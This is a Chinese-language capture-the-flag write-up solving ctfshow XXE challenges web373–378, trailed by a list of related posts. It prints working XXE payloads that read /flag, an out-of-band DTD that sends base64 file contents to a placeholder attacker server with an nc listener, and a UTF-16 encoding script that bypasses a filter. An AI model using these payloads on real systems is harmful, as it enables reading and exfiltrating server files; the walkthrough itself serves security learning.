web373

burpsuite发包，不能用hackbar

[POST]Payload:<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<test>
<ctfshow>&xxe;</ctfshow>
</test>

web374、375、376

和web373的区别是没有echo $ctfshow;，即无回显。

在vps上创建一个test.dtd文件，用于反弹shell，内容如下：

<!ENTITY % dtd "<!ENTITY % xxe  SYSTEM 'http://xxxxx:1234/%file;'> ">
%dtd;
%xxe;

监听1234端口，nc -lvp 1234。由于我的vps是没有开web服务的，开了的直接把test.dtd放在网站根目录下就可以。

另开一个vps的shell，使用python打开http服务：

python3 -m http.server 80

*注意：上面的这个命令要在test.dtd文件所在目录下执行。

然后POST发包即可在vps上收到flag的base64值。

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>1</root>

web377

过滤了http协议，python脚本 utf-16编码绕过。

import requestsurl = 'http://ddca1082-2f62-4f7f-b8b1-e369e33aa168.chall.ctf.show/'
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>123</root>"""
payload = payload.encode('utf-16')
requests.post(url ,data=payload)

和上一题一样，只是由python脚本utf-16编码后发包。

web378

随便提交一个表单，bp抓包。

原来的post内容：

<user><username>123</username><password>123</password></user>

123改成&xxe; 、前面加上：

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>

最后payload：

[POST]Payload:<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>312</password></user>

ctfshow web入门 XXE web373~web378相关推荐

ctfshow web入门-XXE
ctfshow web入门-XXE web373 题目描述解题思路 web374 题目描述解题思路 web375 题目描述解题思路 web376 题目描述解题思路 web377 题目描述解题 ...
ctfshow web入门-sql注入
ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...
[ctfshow]web入门——文件上传（web156-web163）
[ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...
CTFShow web入门题刷题记录
CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...
无字母数字rce(ctfshow web入门56)
无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...
[ctfshow web入门]常用姿势801-806
1NDEX 0x00 前言 801 flask pin码计算谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...
ctfshow web入门命令执行 web29~web77 web118~web124
目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...
ctfshow web入门反序列化前篇 254-266
这里266后面主要是框架,以后在讲反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 <?phperror_reporting(0); highlight_file ...
CTFshow——web入门——sql注入
web入门--sql注入基础知识点判断是否注入 order by 判断列数使用union select 判断回显查询数据库 web171 web172 web173 web174 web175 ...

ctfshow web入门 XXE web373~web378

目录

web373

web374、375、376

web377

web378

ctfshow web入门 XXE web373~web378相关推荐

最新文章

热门文章